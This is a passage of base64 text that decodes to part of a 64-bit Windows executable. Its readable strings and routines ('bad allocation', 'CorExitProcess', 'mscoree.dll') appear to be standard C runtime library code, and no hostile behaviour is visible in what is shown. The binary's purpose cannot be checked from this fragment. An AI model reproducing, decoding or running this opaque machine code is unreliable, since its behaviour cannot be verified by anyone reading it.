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oCMn//0iLi8gAAADo/Mj//0iLi9AAAADo8Mj//0iLi9gAAADo5Mj//0iLi+AAAADo2Mj//0iLi+gAAADozMj//0iLi/AAAADowMj//0iLi/gAAADotMj//0iLiwABAADoqMj//0iLiwgBAADonMj//0iLixABAADokMj//0iLixgBAADohMj//0iLiyABAADoeMj//0iLiygBAADobMj//0iLizABAADoYMj//0iLizgBAADoVMj//0iLi0ABAADoSMj//0iLi0gBAADoPMj//0iLi1ABAADoMMj//0iLi3ABAADoJMj//0iLi3gBAADoGMj//0iLi4ABAADoDMj//0iLi4gBAADoAMj//0iLi5ABAADo9Mf//0iLi5gBAADo6Mf//0iLi2gBAADo3Mf//0iLi6gBAADo0Mf//0iLi7ABAADoxMf//0iLi7gBAADouMf//0iLi8ABAADorMf//0iLi8gBAADooMf//0iLi9ABAADolMf//0iLi6ABAADoiMf//0iLi9gBAADofMf//0iLi+ABAADocMf//0iLi+gBAADoZMf//0iLi/ABAADoWMf//0iLi/gBAADoTMf//0iLiwACAADoQMf//0iLiwgCAADoNMf//0iLixACAADoKMf//0iLixgCAADoHMf//0iLiyACAADoEMf//0iLiygCAADoBMf//0iLizACAADo+Mb//0iLizgCAADo7Mb//0iLi0ACAADo4Mb//0iLi0gCAADo1Mb//0iLi1ACAADoyMb//0iLi1gCAADovMb//0iLi2ACAADosMb//0iLi2gCAADopMb//0iLi3ACAADomMb//0iLi3gCAADojMb//0iLi4ACAADogMb//0iLi4gCAADodMb//0iLi5ACAADoaMb//0iLi5gCAADoXMb//0iLi6ACAADoUMb//0iLi6gCAADoRMb//0iLi7ACAADoOMb//0iLi7gCAADoLMb//0iDxCBbw8zMSIXJdGZTSIPsIEiL2UiLCUg7DXVoAAB0BegGxv//SItLCEg7DWtoAAB0Bej0xf//SItLEEg7DWFoAAB0Bejixf//SItLWEg7DZdoAAB0BejQxf//SItLYEg7DY1oAAB0Bei+xf//SIPEIFvDSIXJD4QAAQAAU0iD7CBIi9lIi0kYSDsNHGgAAHQF6JXF//9Ii0sgSDsNEmgAAHQ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